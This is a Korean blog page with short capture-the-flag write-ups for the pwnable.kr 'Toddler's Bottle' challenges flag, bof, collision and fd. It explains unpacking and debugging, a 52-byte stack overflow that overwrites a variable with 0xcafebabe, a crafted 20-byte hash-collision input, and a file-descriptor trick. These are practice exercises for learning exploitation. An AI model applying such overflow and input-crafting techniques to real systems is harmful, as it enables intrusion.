가장 최신버전을 리눅스로 받아, 패킹을 푸는 것에 성공했다.


이를 윈도우로 가지고 와서 IDA를 사용해 디버깅을 해 보았다.


BP는 strcpy에 붙혔다.


strcpy에서 into를 실행하고 레지스터들을 확인해 보았다.

64비트인 만큼 인자들이 레지스터에 들어있을 것이기 때문이다.

보다시피 RDX, RSI에 의심스러운 것이 보인다.




해당 주소를 열어보니

문자열이 보인다.


이것이 플래그다

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] passcode  (0) 2018.05.21
[Toddler's Bottle] bof  (0) 2018.05.19
[Toddler's Bottle] collision  (0) 2018.05.18
[Toddler's Bottle] fd  (0) 2018.05.18
블로그 이미지

천재보다는 범재

,


Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c

리눅스에서 wget을 사용해서 두 파일을 받아 코드를 열어보았다.

보아하니 main에서 func함수에 0xdeadbeef를 넘기고, 오버플로우를 사용해서 이 값을 0xcafebabe로 바꿔야하는 것으로 보인다.



func함수에서 cmp를 하기 전에 BP를 걸고 실행해 보자.



보아하니 버퍼가 시작하는 주소는 0xffffcfbc이고

0xdeadbeef가 있는 곳은 0xffffcff0이다.

두개의 거리를 구해보자.



뺏을때 52가 나오는 것을 보니 52만큼 채우고 0xcafebabe가 있는 듯 하다.


원래 python을 사용해 익스코드를 짜려고 했으나 실패해서 그냥 | 를 사용해서 넣었다.


'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] passcode  (0) 2018.05.21
[Toddler's Bottle] flag  (0) 2018.05.21
[Toddler's Bottle] collision  (0) 2018.05.18
[Toddler's Bottle] fd  (0) 2018.05.18
블로그 이미지

천재보다는 범재

,

이번 코드는 복잡해 보이지만 뜯어보면 간단하다.

argv를 입력받고, argv길이가 20이어야 하며, hashcode = 0x21DD09EC 와 check_password(argv[1]) 이 같으면 플래그를 볼 수 있다.


check_password를 보자


입력받은 const char* p 를 int*로 캐스트한다.

int는 4byte이기 떄문에 4바이트씩 받는것으로 보인다.


그 후 for문을 이용해 res 에 ip[i] 를 더 해준 후, res를 return한다.


즉 20개의 글자를 4개씩 잘라 5번 더해서 hashcode를 만들어 주면 된다.

hashcode를 5로 나눠보자.


0x6C5CEC8이므로 \xc8\xce\xc5\x06을 5번 넣으면 될줄 알았다.


하지만 플래그가 안 출력되길래 5를 다시 곱해보았다.


보다시피 원래 hashcode보다4 줄었다. 그래서 \xc8\xce\xc5\x06  를 4번 넣고 마지막에는 \xcc\xce\xc5\x06  를 넣어보았다.


보다시피 flag가 출력되었다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] passcode  (0) 2018.05.21
[Toddler's Bottle] flag  (0) 2018.05.21
[Toddler's Bottle] bof  (0) 2018.05.19
[Toddler's Bottle] fd  (0) 2018.05.18
블로그 이미지

천재보다는 범재

,



너무 간단해서 뭐라 할말이 없다.


그냥 인자 - 0x1234 (dec :  4660)


가 fd로서 read에 들어가는데

fd의 0,1,2는 예약되어 있다. 

0은 stdin

1은 stdout

2는 stderr이다.


따라서 우리는 입력을 받아야 하므로 fd=0을 만들면 된다.

인자로 4660을 넘겨주고, 실행된 read함수에 LETMEWIN을 넘겨주면 플래그를 볼 수 있다.


'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] passcode  (0) 2018.05.21
[Toddler's Bottle] flag  (0) 2018.05.21
[Toddler's Bottle] bof  (0) 2018.05.19
[Toddler's Bottle] collision  (0) 2018.05.18
블로그 이미지

천재보다는 범재

,